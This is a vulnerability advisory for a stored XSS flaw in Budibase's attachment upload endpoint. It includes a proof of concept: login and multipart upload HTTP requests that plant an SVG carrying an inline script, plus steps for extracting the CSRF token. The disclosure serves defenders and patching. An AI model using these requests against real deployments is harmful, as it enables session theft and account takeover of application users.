Budibase CVE-2026-46426

Summary

The file upload endpoint POST /api/attachments/process does not enforce active-content restrictions for authenticated users. The checks for dangerous file extensions (html, svg, js, php, etc.) are conditionally wrapped inside if (isPublicUser) or if (isPublicUser || !env.SELF_HOSTED), meaning any authenticated builder can upload executable web content - SVG files with inline <script> tags, HTML pages with JavaScript, .js modules - which are then stored in the object store (MinIO/S3) with their correct MIME types (image/svg+xml, text/html, application/javascript). When the resulting signed URL is opened by any app user, the browser executes the payload.

Impact is persistent stored XSS over all application end users.

Details

The vulnerability exists in a single handler function uploadFile shared by two routes, located in packages/server/src/api/controllers/static/index.ts (lines 93-179).

Route definitions (packages/server/src/api/routes/static.ts):

POST /api/attachments/process → authorized(BUILDER) POST /api/attachments/:tableId/upload → authorized(PermissionType.TABLE, PermissionLevel.WRITE) Both routes invoke the same uploadFile function. The second endpoint is accessible to any authenticated app user (BASIC or POWER role) who has been granted WRITE on any table - not just builders.

PoC

Prerequisites

• Budibase self-hosted Docker deployment, any version ≤ 3.30.6
• An account with Builder role (does not require admin)
• Target app published and accessible to end users

Step 1 - Authenticate as builder

POST /api/global/auth/default/login HTTP/1.1
Host: target:10000
Content-Type: application/json

{"username":"builder@company.com","password":"BuilderPass1!"}

HTTP/1.1 200 OK
Set-Cookie: budibase:auth=<jwt>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT
Set-Cookie: budibase:auth.sig=<sig>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT

{"message":"Login successful"}

The CSRF token is bound to the session. Browsers send it automatically via the Budibase frontend JS. For scripted requests, decode the JWT payload (base64url second segment) to extract sessionId, then read the Redis key session-<userId>/<sessionId> → csrfToken.

Step 2 - Upload SVG with XSS payload

POST /api/attachments/process HTTP/1.1
Host: target:10000
Cookie: budibase:auth=<jwt>; budibase:auth.sig=<sig>
x-budibase-app-id: <dev_app_id>
x-csrf-token: <csrf_token>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Length: 391

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="file"; filename="xss.svg"
Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--

HTTP/1.1 200 OK

[{"size":207,"name":"xss.svg","url":"http://target:10000/files/signed/.../<uuid>.svg?X-Amz-...","extension":"svg","key":"workspace_id/attachments/<uuid>.svg"}]

Impact

• App end users - Stored XSS on any screen containing the attachment URL. Session cookie theft → full account takeover. |
• Builder accounts - If malicious URL is shared within the workspace (table attachment, embedded image), XSS fires in builder's session → workspace takeover.

<img width="3087" height="1489" alt="image" src="https://github.com/user-attachments/assets/b0ee0263-85de-430e-9575-88ec91eae565" />

<img width="2100" height="1016" alt="image" src="https://github.com/user-attachments/assets/5133bb1e-f637-479e-952f-14b3265129b4" />

-------- Discovered By: Abdulrahman Albatel Abdullah Alrasheed